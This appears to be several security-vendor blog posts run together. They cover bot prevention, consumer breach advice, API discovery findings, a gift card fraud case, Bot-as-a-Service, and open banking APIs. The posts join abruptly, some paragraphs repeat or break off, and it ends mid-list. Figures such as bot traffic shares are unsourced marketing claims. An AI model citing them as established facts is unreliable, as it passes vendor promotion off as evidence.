Assuming you have built a solution to detect bots, how will you respond? Rate limiting is an obvious first step, but bots can easily move to a low and slow approach. Blocking is the logical next step but there is a high risk of blocking a legitimate customer as bot managers commonly use compromised, residential IP addresses readily available from Bulletproof proxy vendors. Prior to deploying our API Spartan solution, customers with homegrown solutions inadvertently blocked large swaths of legitimate IP addresses, leading to many unhappy customers.

Getting Help & the Network Effect

When building your own bot prevention offering, you will need to rely on community support. Unlike Snort for IPS, which had strong, passionate community support, the bot prevention space has limited open-source tools which means the community support is going to be limited in nature. When your homegrown offering is pummeled by a determined set of bots, you may struggle to find help fending them off. Most of the bot prevention vendors have a threat researchers and data scientists who analyze bot attacks across all of their customers, taking what is learned, sharing it with our customers and using it to improve defenses. In some cases, they’re working in real-time as an attack is ongoing. As an example, one of our retail customers faced a series of bots totaling more than 150 million requests in a 24 hour period. The bots continually retooled, trying different tactics to succeed. The depth of knowledge gained from supporting a wide variety of customers and attacks provided immeasurable value. Do you trust that your team has the knowledge and time needed to fend off an attack of this scale?

Opportunity Costs

Automated malicious bots impact your entire business. They don’t just impact security. Here are a few examples:

• IT is impacted with mobile app, web site outages and cost overruns for scaling to meet malicious demand.
• Fraud teams are impacted with user account validation and reset efforts.
• Customer support teams have to deal with upset customers.
• Brand and PR efforts are hurt by negative customer feedback who cannot buy their favorite widget.
• Marketing departments make skewed decisions based on fictitious traffic generated by bots, not humans.

Every organization makes build vs. buy decisions across all their departments. The shortage of security and IT professionals is well known and something organizations everywhere are struggling with, so if you’re building your own bot prevention offering it means that you’re also making the choice to NOT work on something that might be more core to your business.

Bots have rapidly evolved and will continue to do so – it’s big business and they impact all aspects of your organization. If you’re making a bot prevention build vs. buy decision, or struggling to keep bots at bay and want to learn more, please contact us.

Recommendations for end users concerned about account breach and fraud

You’ve received an email, a text, or even a message on social media that someone’s hacked your account, or your credit card has been exposed, or that your computer is under active attack. It’s scary and enough to make your stomach hurt, and you want to do something about it right away.

While the nature of our business at Cequence Security isn’t focused on helping consumers with breaches, we do have lots of experience and advice to help you through this tough time.

How to handle an urgent message you’ve received online.

1. First, don’t panic. Your credit card company has got your back, and your accounts aren’t going to vanish in an instant. Take a deep breath and take a moment to consider the situation carefully. Many times, the message urging you to action isn’t legitimate and it’s counting on your panic to do something in a rush that may make things worse.
2. Don’t click on links. Scam emails or messages look like they may be from a vendor you know and trust but actually come from bad guys who want you to give up your personal information. One of the most common ways they do this is by including links in the message that take you to a site that looks like Amazon, your bank, or other legitimate site but is really the bad guy’s site. When you put in your name and password, or even other personal info like your credit card number, you’re just handing it over for them to use.
3. Go directly to the vendor website instead, and contact the vendor directly via phone if possible. Instead of clicking on a link in a message, open your web browser and go directly to the website that the message is about. There, you can see if the vendor has any messages about issues they are having, or you can use the “contact us” link to call or chat with the vendor directly. They can help you determine if the message was legitimate, and will have recommendations for next steps.
4. What if you’ve clicked on a link? If you clicked on a link in a message, put in your login information or other personal information, and later you’re concerned it might have been a scam, follow the instructions below for updating your account. You should also go directly to the vendor’s website and contact them directly (via phone or chat) to let them know that you think your account has been hacked – they will help you with next steps.
5. Get help if you’re unsure. This stuff is really scary and feels embarrassing, but it’s really not your fault. If you’re unsure, ask someone you trust for help. At the least, they can provide a second pair of eyes to see what happened and help you figure out what to do next. Remember, you always have time to consider next steps and you really don’t need to rush.

What to do if you think your account has been hacked or your password exposed

1. Update your password. Open a web browser and go directly to the vendor’s website. Follow the instructions there to change your password. Make sure you use a strong password (click here for helpful instructions), and be sure you don’t use a password that you’ve used anywhere else.
2. Turn on “two-factor authentication” or “two-step verification” if it is available. If the vendor offers the additional security of a second verification, use it. Many vendors offer the option of verifying you’re you before letting you into your account by sending you a text message or an email message with a numeric code, and using this second step makes hacking your account much more difficult. (Curious about who offers additional security like this? (Check out https://twofactorauth.org/)
3. Contact the vendor. It’s never a bad idea to contact the vendor directly by calling their support line and letting them know what happened. They may have more suggestions about how to secure your account and what to do next.
4. Think carefully about where else you might have used that password. Many of us use the same password on multiple accounts to make it easier to remember. The problem with password re-use is that the bad guys count on it. They use a technique called “credential stuffing,” where once they have stolen a username and password for one site they will try it on lots of others, hoping that the user used the same password. If you think you’ve used the same password elsewhere, it’s time to update the password on all of those sites, too (and make sure they are all unique!).
5. See if your account has been compromised in other attacks. Go to https://haveibeenpwned.com/, enter your email address, and see if your account information may have been exposed. There, you can find out about past breaches and sign up for notifications of new ones.
6. Begin using a password manager. Once your heart rate is back to normal, begin using a password manager. These tools help you manage your wide range of logins while eliminating the use of poor passwords (e.g., password123, etc.) which is a common vector for account compromise.

What to do if you think your credit card, bank information, or retail account has been compromised

If you suspect that your credit card information has been stolen, call your credit card company. You can usually find a toll-free number on your credit card, or check your credit card statements. Your credit card company will help you determine if there is an issue and will reverse charges and send you a new card if necessary. Similarly, if you think your bank account information has been compromised, call your bank.

Keep in mind that if you store your credit card information in other retail or service accounts, the bad actor most likely doesn’t have access to the credit card number, but could make purchases using your account and saved credit card.

If you receive a notice in the mail that your credit card or bank account information was exposed in a breach, it may provide you with information about how to sign up for credit monitoring or even a credit freeze. (Note that it would be very unusual for this to come to you in an email or a text message, so be very careful and contact the vendor directly if you get a message this way.) Signing up is up to you, and you will need to reach out to the credit monitoring company to set up the service based on the instructions you receive from the vendor. You always have the option of contacting the credit agencies (in the US, go to https://www.usa.gov/credit-reports for more information) and setting up alerts or freezes yourself.

You know you need unique passwords for all of my accounts, but how do you manage them?

It’s critically important to use unique and strong passwords for all of your accounts, but managing that can be a nightmare. Most of us have dozens of different logins. Here are some ideas for how to manage the challenge:

1. Best practice: Use a password manager. There are a number of tools available to help you manage and securely store your passwords. They will help you to generate (or update) unique and strong passwords for each of your accounts and then can fill in your username and password automatically when you go to the website on any device or browser (or even in an app). (They also can help you by not filling in your information if you go to a scam website, and they will warn you if they think the site is not legitimate.) Password managers can also store other personal data safely and securely so you can use it to store and later recall info you may need, like bank account numbers or PINs. Don’t worry – all of the reputable password managers use strong encryption to protect your data from hackers (after all, that’s their job!). Password managers also work across all of your devices, so you can use your phone to look up a password or a PIN if you need to.
2. Use your browser’s password manager. Browsers can be used to remember your passwords, filling them in for you when you go to a website. Some also have plugins that can help you generate new, unique passwords. Browser password management can be tied to a single computer and usually does not work on your other devices (or other browsers), however, so it’s not as useful or universal as a password manager. Still, the passwords are stored securely, and it can be very helpful.
3. As a last resort, write them down. We all remember being yelled at about not writing down passwords, but the fact is, if you’re not comfortable with using any of the above methods, physically writing down your good and unique passwords in a password book and then storing that in a safe place away from prying eyes is not the worst idea (but please don’t do this for your work devices or accounts!). The fact is, attackers are never going to break into your home to steal your passwords when it’s so much easier to do it online.

Where can you learn more?

SANS is an organization dedicated to research and education about computer security, and they have a monthly security awareness newsletter they call OUCH! Here are some newsletters you may find informative:

• Making Passwords Simple
• Four Simple Steps to Staying Secure
• Social Engineering

You can find a full list of the newsletters at https://www.sans.org/security-awareness-training/ouch-newsletter.

You can check to see if you have an account that has been compromised in a data breach at https://haveibeenpwned.com/, a website that keeps a database of breach information and provides notification of new breaches.

API security best practices dictate that you first need to discover all of your APIs – managed, unmanaged, third-party, shadow and zombie – both external and internal. With the understanding that you cannot protect what you cannot see, most security professionals are often surprised by both the number of APIs actually found and the associated risks, and potential vulnerabilities uncovered. Following on my recent Top 5 API Authentication Pitfalls blog, today’s topic is the five API discovery insights from recent customer engagements with Fortune-50 financial services, telecom, and retail organizations.

Security professionals are often surprised by both the number of APIs actually found and the risks introduced by common API errors. Following on my recent Top 5 API Authentication Pitfalls blog, today’s topic is the five API discovery insights from recent customer engagements with Fortune-50 financial services, telecom, and retail organizations.

API Discovery Insight #1: Many APIs Are Simply Unauthenticated

When told that your neighbor’s house was cleaned out by burglars because they left their doors and windows open, your first reaction is likely going to be of skepticism and disbelief. Unlocked doors and windows are physically analogous to APIs without authentication. In every API security customer engagement to date, we find APIs that are unauthenticated or using weak forms of authentication which, as shown in the many API breaches of 2021 allow willful attackers to easily bypass.

During the API discovery and During the API discovery and inventory phase, security teams should expect to see APIs with authentication gaps as the most common finding and they should be prepared to initiate the remediation process with development.

Insight #2: Sensitive Data Values Are Not Getting Masked

Many cybersecurity professionals hope that APIs handling sensitive data fields like payment or billing information are using appropriate security or privacy practices. In other words, they hope that these APIs are encrypting or at least masking these values in requests and responses.

As we know, hope is not a good strategy.

In almost every API security engagement to date, we have discovered sensitive data in clear text in requests or responses and APIs handling sensitive fields like names, addresses, billing information, payment card details, and other forms of compliance-sensitive values that are not masked nor encrypted. Sensitive data exposed in API transactions is a very attractive target for attackers. The discovery insight for security professionals is that they should be prepared to find APIs handling sensitive fields improperly and they should help development remediate the issue quickly.

Insight #3: API Developers Expose More Information Than Needed

Another common API discovery surprise for security professionals is to see APIs exposing far more data in API responses than their specifications demanded. Many modern APIs have corresponding specifications, often written in formats like OpenAPI/Swagger or RAML, to share the details of the API request and response syntax with clients. The specifications are often (or should be) carefully pruned by API owners to include only the fields that clients should be allowed to access. Fields that are deemed sensitive or to be used for internal use only are often (or should be) culled out of the specifications.

But that doesn’t stop API developers from implementing support in the actual APIs to respond with these additional fields. A common reason for this is that support teams might have requested these additional values from the API owner since they might be useful for troubleshooting purposes. Once implemented, both the support team and attackers will benefit from the values being returned to all valid API clients.

In the figure above, the API specification was designed to only expose user-name, profile-id, group and region to be returned in API responses. But the API discovery phase exposed additional fields, including some handling sensitive data (like authz-code or authorized-budget) or exploitable by attackers for privilege-escalation (like is-admin). The insight security professionals should stress with the development team is that attackers constantly scour APIs for hidden fields as a means of gaining elevated privileges to then use for lateral movement and data theft. Security can help development remove or minimize the information exposed to improve API security.

Insight #4: Finding Undocumented/Shadow APIs

One of the common attack vectors in many data breaches is the undocumented doors into an enterprise network. The API discovery phase shines a bright light on these undocumented, hidden, or shadow APIs, as they are commonly referred to, that are being used by real clients but are not documented, tracked, or secured.

The API owner never meant to expose a particular resource or method in the specifications to clients, yet developers have implemented it as a hidden endpoint that can be used alongside other published endpoints. This result is a significant blind spot that could get exploited by attackers because neither the API owners nor the security team is aware of the APIs.

In the figure above, the API specification indicates that a GET method is publicly exposed for the /user/profiles/{profile-id} endpoint. But the discovery phase often finds API clients using a POST method to the same resource. This exposes internal values, editable by API clients but unknown to the API owner or security teams.

Attackers are constantly looking for backdoors like this to try and find endpoints that are open but were never designed to be so. The insight for security professionals to emphasize with development is that these hidden endpoints are eventually found by threat actors who will then try to use them as a backdoor for malicious purposes.

Insight #5: Suspicious or Unknown API Usage Needs to Be Blocked

The API discovery phase includes knowledge of how APIs are being used. Of particular importance are endpoints that handle PII or PCI information and often enable, user authentication, password resets, payments, billing, and other transactions involving sensitive information exchange. Security professionals are often surprised when we find:

• API usage from countries or from IP address ranges where they do not have any business operations
• Suspicious usage patterns such as password spraying on login endpoints
• Enumeration attempts to retrieve large amounts of information
• APIs without any built-in rate-limiting

While development and marketing may view increased or excessive traffic on an API as positive, security teams, armed with more detailed analysis on location and organization can share more insights that will justify the decision to block suspicious or unknown API traffic.

Summary

At this point, it is important for security professionals to be ready to take action to put the results of API discovery to work. They must put in policies to protect APIs from malicious, suspicious or anomalous usage. Relying on external inline systems like WAFs or firewalls is ineffective. The next logical question is about what forms of mitigation or blocking actions could be implemented by security teams to protect their APIs. We’ll explore that topic in a follow-up blog. In the meantime, check out this brief API Sentinel video:

Our standard customer engagement process is to deploy API Spartan into a customer environment to prove our value. We are often deployed alongside an existing general-purpose bot mitigation solution, with the customer not expecting us to find an attack of any significance. Once deployed, our CQ Prime threat research team works with the customer to tease out the details behind the attacks the customer believes they have (but cannot prove) and then show them how we can stop that activity, eliminating the disturbance to their business.

Detecting Fraud with Machine Learning

We first applied our ML models to common attack targets such as login or checkout for this retail customer. Upon adding the Gift Card Balance Check flow, our team noticed an abnormally high volume of traffic, leading the team to believe there was an active gift card fraud campaign.

Further inspection showed that the volume of traffic hitting the Balance Check was higher than their checkout endpoint. Our ML-based behavioral models indicated that the traffic hitting the flow didn’t “clash” with normal traffic. In other words, the Balance Check traffic was not normal traffic. The next step was to look more deeply into the usual threads that make traffic interesting. Where is it coming from? Does the request have any standard hints of normal traffic? Is the behavior sequential, erratic, anything standing out?

Overcoming Attackers That Re-tool

Our CQ Prime threat research team found that the traffic was coming from all over the planet, but the customer has only a small geographic region so we blocked traffic originating from outside that region. In a classic example of rapid attack re-tooling, the threat actor quickly reconfigured their BulletProof Proxy Network requests to come from within the geography of the client. The attack retooling effort allowed us to more easily identify the proxy infrastructure being used, thereby further validating that the threat actors were after only high-value targets.

Additional missing traffic elements confirmed that these were not normal Gift Card transactions: No referrer, very old user agents (browsers) and the traffic was “bursty,” meaning that the threat actor was creating a list of gift cards and then checking them all in a short amount of time. Traffic spikes are a basic attack pattern our ML-models have been trained to quickly uncover.

The initial attack characteristics pointed to this being an enumeration attack where automation is used to cycle through numeric identifiers like gift cards, shipping tracking numbers and video conference IDs, as shown in the PryingEye vulnerability. To gain additional details behind the end goal of the attack, the team drilled into the card value on the return traffic to discover that the majority of the balance checks were targeted at gift cards that had a value greater than zero. Over the course of a 30-day period, the CQ Prime threat research team determined that roughly $200,000+ in value had been requested by the threat actor, presumably with the intent of defrauding the company and its customers. Based on these results, the attack was quickly blocked using the behavioral policy that had discovered the malicious activity.

Preventing Future Costly Gift Card Fraud

As shown in this example, gift card fraud can have significant direct and indirect financial impacts. The financial loss of each card is the obvious, direct impact. The indirect impacts are the fees the bank charges for each card balance check, the human resources spent by the fraud team performing investigations and the potential loss of a dissatisfied customer. In some cases, the sum of the impacts has been significant enough for the retailer to temporarily halt their gift card programs. Fortunately for this customer, the program continued successfully.

Over the next few weeks, the value of our patented behavioral fingerprinting capability came into play as the threat actor continually retooled, but the high-efficacy rule that had been deployed continued to block the attack. Retooling efforts continued to play out of the next few days, and each time the mitigation policies blocked the activity. For now, the Gift Card fraud has been reigned in, but threat actors are persistent and the expectation is that they will return. When they do, the customer will be ready.

As an innovator, software is always the first thing I think about when addressing a problem. But, in a recent blog about shopping bots and the holiday season, Sandy Carielli at Forrester reminded me that you’ve got to think about holistic solutions – comprised of software/technology, people and process – in order to best address our hardest issues. Sandy highlights the importance for security teams to be in lockstep with e-commerce teams in order to adequately block those pesky shopping bots which create headaches for retailers and frustrations for shoppers who are left with empty carts or incomplete orders. These are great, and often overlooked recommendations. However, bots are not just a security problem they’re also an e-commerce problem. In my opinion, open communication between security and e-commerce teams is the key to success in retail.

Let’s explore some other ways to combine both great technology and great cross-team collaboration to keep your loyal customers happy.

Identify “Normal” and Know When to Expect Peaks

From the collaboration side, Sandy calls out the importance of great communication from the e-commerce and marketing teams over to the security and operations teams so they know when to expect high volumes of traffic. Plan for high volumes when sales start, product inventory is replenished and when marketing efforts like email and social media promos go live.

On the technology side, it’s important to model out what known “human” traffic looks like. Where does the traffic come from? How does the traffic interact with your website or app? Knowing what good looks like helps you identify bots faster so you can take proactive actions to block them. During peak shopping periods, especially with high-in-demand items, a surge in human traffic can trick basic bot mitigation solutions to flag it as illegitimate traffic resulting in the blocking of real users from shopping online. This leads to customer dissatisfaction, social media outrage, brand loss and eventually a decline in revenue.

Know the Hot Targets

It seems obvious that security and operations should be made aware of the hot products for the shopping season, but sometimes communication gets missed. Or, like the Atari ET game of the 80s sometimes the hot products are flops, while sleeper products suddenly become hot, not unsimilar to the great toilet paper shortage of early 2020 or the looming outdoor heaters restaurants are now scrambling to find. It is important to communicate the popularity projections so that everyone can best anticipate and be prepared to manage the shopping bots.

With projections in hand, it’s critical that security teams use bot mitigation to ensure that as much of the hot product as possible is purchased by human shoppers. In high volume/high-value sales, we often see retailers putting all shoppers in “waiting rooms” in an effort to ensure site reliability and to give human buyers a chance. The drawback to this approach is the loss of revenue from the rest of the merchandise on sale. “Waiting rooms (aka queueing)” take a broad stroke at trying to control the shopping bot problem, when in reality you need scalpel-like precision. Most advanced shopping bots have built-in techniques that allow the bots to get out of the “waiting rooms” ahead of the humans, leading to a scenario we often see – “Bots are shopping, while the humans are waiting”. And no one likes hanging out in the waiting room, as evidenced by the backlash on social media when legitimate buyers lose out to automated buyers.

Manage Multiple Threats

Sandy questions in her blog “Are we only concerned about hoarding?” and of course, the answer is, “No!” But, defending against automated shopping bots on top of gift card fraud, ATO, and inventory spinning all at once can be quite the juggling act. It’s important to build out plans to identify and respond to all these threats and optimize your security technology according to your plan.

Retail customers are hit with a wider range of automated attacks than any other industry, with the entire spectrum of the OWASP Automated Threats being found in our retail customer deployments. Many of the attacks go beyond classic credential stuffing and Account Take Over (ATO), using advanced techniques to evade first-generation bot prevention tools and commit scalping (aka automated shopping), denial of inventory and scraping attacks. It’s important to balance bot prevention with customer satisfaction while ensuring that your security strategy takes into account these additional threats.

Build Out Your Defense Playbook

Having a playbook is an important part of a good defense, and it’s a good idea to also test out scenarios before you have to utilize them in the heat of an attack. Tabletop exercises will help everyone on the team get familiar with the plans, and may also help you identify areas that need to be fleshed out further, or perhaps even identify new tools that are needed.

Again, flexibility in your bot mitigation tools is important as you probably want to have a different response to each of the different plays. Slowing down account aggregators for reward points during peak periods, blocking competitive scrapers while allowing search engine bots and price comparison partner bots are good strategies. Make sure you choose a bot mitigation strategy that has flexibility and precision to implement your version of the Defense Playbook. It’s also important that the technology implemented to stop bots doesn’t create unnecessary friction for your legitimate shoppers.

Be Proactive: Work with Cequence’s Threat Monitoring Team

The steps that Sandy identifies are exactly the kinds of proactive actions that our Threat Monitoring team takes to support our retail clients. With all of the pandemic’s uncertainties where every day some new threat or challenge seems to arise, having open lines of communications and extremely flexible and open bot mitigation is key to providing excellent service and a great shopping experience for your customers.

OWASP API Security and the OWASP API Top Ten

During a recent API Security conversation with a customer, I asked if they had seen the OWASP API Security Top 10 list. They had not heard about it yet, a response that is consistent with other customers as well as from industry analysts including Gartner, Forrester and the Aite Group. Like the preceding Web App Security Top 10 list, the OWASP API Security Top 10 is a great addition to your API programs and initiatives, acting as a set of guidelines for both security and development teams alike.

API Security and API Protection Has Become a Top Priority

APIs have long been the vehicle of choice for automated bots – it’s far easier to target the API for a shopping cart, a login or registration endpoint than it is to script a web form fill. However, a long list of API security incidents in 2020 shows that APIs are increasingly targeted for data theft due to security gaps like weak authentication or verbose error messages. Clearly, the explosive use of APIs has exposed security gaps within both the development and security teams.

Demystifying the OWASP API Top 10

Improving your API security posture to protect your APIs, data, and applications is best done using a combination of documented best practices and technology to monitor and enforce policies.

Items shown in Italics* = Roadmap

In more than one way, the year 2020 was different. The COVID-19 pandemic made us change our plans for the year, and it will have a lasting impact on 2021 and beyond. Let’s look to the future and see if we can predict what 2021 will hold for web application and API security. As API security gained attention and focus within organizations this past year, we predict that this trend will continue.

Prediction 1: API Security Matures

Observability and Shift-left have helped shed some light on API vulnerabilities, but those movements have not completely solved the problem. Because of the complexity of our security landscape, the reality is that few companies have put adequate resources into their API security programs. We’re hopeful that now that organizations have gotten their work-from-home and immediate pandemic related challenges under control, they can turn to API security, which ironically may have slipped into a more precarious state because of the 2020 crises.

With that, we predict that in 2021 we’ll see more focus on run-time API security and risk reduction. Its starts with getting visibility into the entirety of your API inventory – everything from legacy APIs, production and pre-production APIs and shadow APIs. With an inventory in hand, security and development teams will start uncovering the vulnerabilities and risks.

Notably, most organizations will have seen an increase in the use of microservices, driven by an incredible rise in Kubernetes-based architectures through 2020, and it will continue through 2021. This has a huge impact on the sheer number of APIs in use across the organization and the number of people who can deploy code with APIs – all potentially driving up API risk if proper management and oversight has not been put into place.

In response to this rise in APIs, we believe that enterprises will accelerate the creation of Digital Centers of Excellence to manage their holistic API security programs. A title – Chief Data Officer – who is responsible for data governance is on the rise and will continue to be the case in 2021. API security will not just have ramifications on the CISO’s charter. It will affect every touchpoint that consumers have with the brand, including mobile apps, websites, customer experience apps, chatbots, etc. These digital centers of excellence will quarterback API security rollout for the organizations with DevOps, CX, AppDev and other teams as key stakeholders.

Prediction 2: Consumer-focused Sites Will Continue as Prime Targets

As a result of shelter-in-place orders and the need to quarantine because of COVID-19, retailers have noted that 2020 became the year where their every-day online sales rivaled Black Friday volumes from years past. Coronavirus also had a big impact on restaurants, personal services, and healthcare, too. While the past year has been about scaling environments and modifying sites and mobile apps to handle increased online demand, the next year will pivot to focusing on securing those environments beyond what they are today.

Once pandemic restrictions are lifted you can be certain that things won’t go completely back to the way they were in early 2020. Too many people have grown fond of the convenience of curbside pickup and the delivery of goods direct to your door, so we expect these services to continue and even expand. Retailers, restaurants and even healthcare providers will also look to build more of the ease-of-use features of online apps into their physical experiences and locations. This will require businesses to open up more APIs into their traditional point-of-sale, inventory and healthcare applications, further expanding their risk exposure. In the upcoming year, we’re sure to see attacks continue to take the form of data breaches or account takeovers, but they also may materialize as new types of attacks. This may include denial of inventory, snatching up of delivery windows or appointments, content scraping, or malicious social media content manipulation.

In order to prevent these attacks, organizations need complete visibility into their APIs so that they can find and mitigate security risks before they are published or discovered by attackers.

Prediction 3: The Shopping Bot Reckoning

This holiday shopping season will likely be remembered as the one where we all shopped from home and lost out on hot ticket items not to other shoppers but to automated bots. The commercialization of specialized sneaker bots pivoted to generalized shopping bots as botters had dreams of making it rich by reselling Xboxes, PS5s, and Nvidia cards (and other hot items.)

5 year Google Trends data on search volumes for “shopping bot,” “PS5 bot” and “sneaker bot”

In 2021, we predict that consumers will demand that retailers do more to block shopping bots, forcing retailers to continue their efforts to protect their APIs and web applications from automated bot attacks. Loyal shoppers demand to be given a fair opportunity to purchase their favorite product, through the normal, human- not automation-based process, and manufacturers will reward the retailers who do the best job by giving them a bigger share of inventory. Controlling bots will also benefit the retailers by allowing them to rein in infrastructure costs and complexity caused by massive (automated) traffic spikes that mimic denial of service attacks, in some cases, bringing websites down and diverting significant resources from other projects.

We are fast approaching the end of 2020. A year that was different in many ways due to the COVID-19 pandemic, and the impacts on retail were no exception. There has been widespread coverage of retail strategies to survive as physical stores remain closed. Black Friday was not a day but several months this year. Delivery services were overwhelmed as users sheltered in place. And we also saw how quickly those popular items like Sony Play Station 5 gaming consoles and NVIDIA Graphics cards sold out and are now selling for crazy prices in secondary markets. The backlash from consumers has been swift as they vent their frustration on social media about feeling cheated as limited inventory is sold out in seconds. Their frustration amplified as they discover they are being gamed (pun not intended) by the rise of Bot-as-a-Service (BaaS), an emerging form of automated shopping that enables a small set of buyers to suck up all the inventory of these highly popular items, then resell them for exorbitant prices. This is aptly described as the consumerization of botting.

Early Days

This gives me a pause to look back on how bots have evolved over the years. In the early days, bots were scripts or simple programs that mostly targeted account take over (ATO) and fake account creation for financial gains. Bots created millions of fake accounts on money transfer platforms like PayPal to exfiltrate funds. They went after loyalty points and committed shipping fraud on retail websites post ATO. To hide their behavior, bots modified User-Agent strings from popular browsers and used rate limiting techniques to evade anti-bot tools. You needed programming, reversing and hacking skills to be in the business. Finding resources was hard and required knowledge of where to look.

Fast forward a couple of years and we saw tools like SentryMBA, Sniper, BlackBullet become popular. Originally built as QA automation tools, users could customize them to target certain sites and applications. Initially, customization was left to the botter, but the next phase of the evolution saw custom attack configs built for popular sites being sold in the underground market. These attack tools enabled a botter to manage all aspects of the attack – adding proxies to massively geo-distribute their activity and circumvent IP rate limits. They even had callouts to CAPTCHA solving services, as CAPTCHAs were being adopted to stop or slow down the bots. These tools, configs, credentials and proxies were only available in various underground forums – a tightly knit community of botters across the world.

Open Source Bots

The phase of the evolution made bots readily available to all. Someone looking to get their hands on sneakers can easily find everything they need to build a bot and execute an attack. Thousands of GitHub repos of Bots and their configs can be found using simple search terms. Multiple proxy vendors are competing to sell you millions of proxies to anonymize the attack. OpenBullet is a great example. It has it’s own GitHub repo where the core platform is developed by contributors around the world. It has a user forum and you can find numerous marketplaces where you can configs, proxies and credentials for your target. This means that anyone with a decent computer and enough money to buy these tools could become a botter. These modern bots are software solutions using real browsers with automation driving them to complete a certain set of tasks.

Botters can increase their success using the many GitHub repos that are dedicated to reversing and defeating popular anti-bot solutions, solving CAPTCHAs (or harvesting CAPTCHAs as it is known in the botting community), improving your Gmail rating to get presented with simple CAPTCHAs etc, perform specialized tasks like checking stock availability and inventories, etc. All this open-source collaboration has led to the next and the latest phase in botting: Bot-as-a-Service (BaaS).

Bot-as-a-Service (BaaS)

BaaS represents the continued consumerization of automated bot attacks. Effectively, a user who wants to snag the hottest sneaker, food delivery service slot, luxury clothing item or accessory, or game console, they need only rent the appropriate bot, complete with how-to guides, community support, user reviews and access to drop information. BaaS solutions are specialized for certain sites, they offer 24×7 support and the good ones offer guaranteed hit rate. The price ranges from $400 at the low end to over $5000 on the high end. These BaaS solutions have an in-depth understanding of botting with automation built for every step of purchasing a high-in-demand item on their supported retail sites. The first step is knowing when items will go on sale and that requires scraping various channels for that information. These sales, also known as Drops, are announced on Cook Groups, which are private Discord communities of paid users, and often in their social media channels. The second step is adding items to shopping carts as soon as they go on sale, ahead of other bots and humans. This involves knowing exactly the item details, SKU, size, color, etc. in advance and the ability to add the appropriate items to shopping carts. The last step is checkout. Retailers use anti-bot techniques such as queuing, raffles, CAPTCHAs, and more during this phase, and BaaS solutions are often able to circumvent them and maximize the probability of checkout with various built-in features.

User Experience

These BaaS solutions make the end-to-end experience of automated shopping very easy. As an end-user you listen to drop announcements in your Cook Groups. If an item of interest is going on sale, then all you have to do is create a task in your BaaS and watch for it to execute. You can enhance your BaaS solution by opting in for more services or using plug-ins as explained below.

Services

BaaS vendors have rapidly become full-service providers, offering numerous ancillary services that complement their core botting capabilities.

• Alternate Shipping Address – For botters around the globe targeting retailers who only ship in certain geographies, users can purchase re-addressing services. Packages are shipped to addresses owned by the BaaS provider who then re-ships them to the botters in their own country.
• Account Generators – These services help maximize a user’s chances with retail sites that use raffle-based check-outs by generating many legitimate-looking (yet fake) accounts.
• Anonymous Payments – a service offering that allows you to use 3^rd party payment systems to hide your real identity.
• Cook Book Monitors – A service that scans Discord channels for new drop announcements and automatically creates tasks in your BaaS.

Plug-Ins

Capabilities of a BaaS solution can be enhanced by using Plug-Ins. Some examples of plug-ins are:

• E-mail Harvesting – This service improves the reputation of your e-mail addresses by generating legitimate-looking e-mail traffic on them. Aged and trustworthy e-mails are presented with simple CAPTCHAs and faceless resistance during check-outs.
• CAPTCHA Solvers – A CAPTCHA solving service that uses OCR (Optical Character Recognition) or human farms.
• Cookie Generators – A service to generate and use legitimate-looking HTTP cookies to use for retail sites try to use cookies to differentiate between humans and bots.
• Proxys – Purchase datacenter and/or residential proxies to hide the location and identity of the botter. Res proxies blend with legitimate customers and are harder to block, whereas DCs proxies are more reliable.

BaaS solutions have features that bring all this together. For example, creating unique sets of Proxy IP, user account, shipping address and payment information and repeating them during drops.

The True Impact on Retailers

Using bots is not illegal, and in the end, they do result in a sale. So retailers should be happy, right? Products are selling, demand is up, fans are being cultivated. In reality, the impacts of automated bot purchasing are significant when high demand items all end up in the hands of a botter.

• Poor Net Promoter Score – Industry estimates are that a 7 point increase in NPS results in a 1% growth in revenue. When users spend several hours in virtual “Waiting Rooms” only to find out that the inventory is sold out, they vent their frustration on social media, support portals, rating sites, creating a negative impression of the retailer among other shoppers.
• Manpower Opportunity Cost – To ensure a successful drop, significant additional planning is required to pick a time late at night minimize impact and maintain website stability. Additional manpower is needed for fraudulent order investigation, validation and in some cases cancelations. Other manpower opportunity costs lost include managing social media reaction to failed purchases by real users.
• Future Revenue Impact – If manufacturers don’t have confidence in a retailer’s ability to control shopping bots, then they allocate less inventory to those retailers, resulting in lost revenue. These manufacturers are also concerned about their brand reputation impact from poor user experience at retailers, who are unable to stop shopping bots.
• Increased Cost – Shopping bots inflate costs for retailers in several areas. There are various components and stages of a BaaS solution that are constantly probing, scraping and carting, which dramatic spikes in traffic results in higher CDN and web site infrastructure costs. Statistics show that over 90% of all traffic at retail sites is from various shopping bots.
• Outages – Out control bot campaigns during extremely in-demand product launches like the PS 5 or NVIDIA RTX 3000 can result in traffic increases as high as 1000% resulting in application DDoS resulting an outage for all users.
• Skewed Marketing KPIs – Marketing departments track conversion rates from their marketing campaigns and customer engagements on the platform. All those statistics and KPIs (Key Performance Indicators) are deemed completely useless when 90+% of all of your traffic is generated by bots. They are left with no reliable statistics to measure their effectiveness.

The Irony: Bots to Buy Bots?

Most BaaS solutions are almost always sold out. Even if you have the money to purchase these bots, they are not easy to buy. This has led to some people renting their bots and bot brokers have become popular. When these BaaS are available for purchase, it is called “Restocking”. Restocking is available for very limited seats – typically between 1-100 at a given time and there are thousands of people waiting to buy them. Restocking is typically announced on Twitter and people have to fill various web forms to get that seat. Ironically there are bots to do that. There are bots to monitor Twitter handles and alert when Restocking is available. There are fast form filler bots to help you get ahead of the thousands of people that are also trying to buy these BaaS. Bot used to buy Bots!

The second Payment Services Directive (PSD2) in Europe, which requires banks to open their payment services to third parties via a series of APIs, has enabled a range of new FinTech products that make it easier for consumers and businesses to manage their finances. Meanwhile, in North America, there is a drive to adopt a newer, common data-sharing standard within banks and FinTech firms that can support interoperability, security and privacy, called Financial Data Exchange (FDX). This standard is designed to deprecate the older data-sharing standard, Open Financial Exchange (OFX). Both PSD2 and FDX are available as an Open API Specification and the institutions are required to implement it on their own.

Too often, the assumption is that the underlying security of banking products is inherently strong. While the banking sector’s abundance of regulations and a culture of caution generally leads to stronger security, we can’t ignore the fact that, like most consumer companies, FinTech firms and banks are all under the same pressure to innovate and deliver products quickly. At the same time, the growth in consumer-authorized data access has ushered in a wide variety of innovative new products from outside of traditional banking and FIs, making the need for speed even more important.

It’s in this rush to get new features and products to market that mistakes can be made leading to data exposure and leakage over the APIs. It’s the nature of APIs that make these mistakes so dangerous. Here are just a few of the reasons why:

• API security is not widely understood. This is critical as we see a lack of API security expertise across all parts of the product lifecycle – from development to QA to security to compliance.
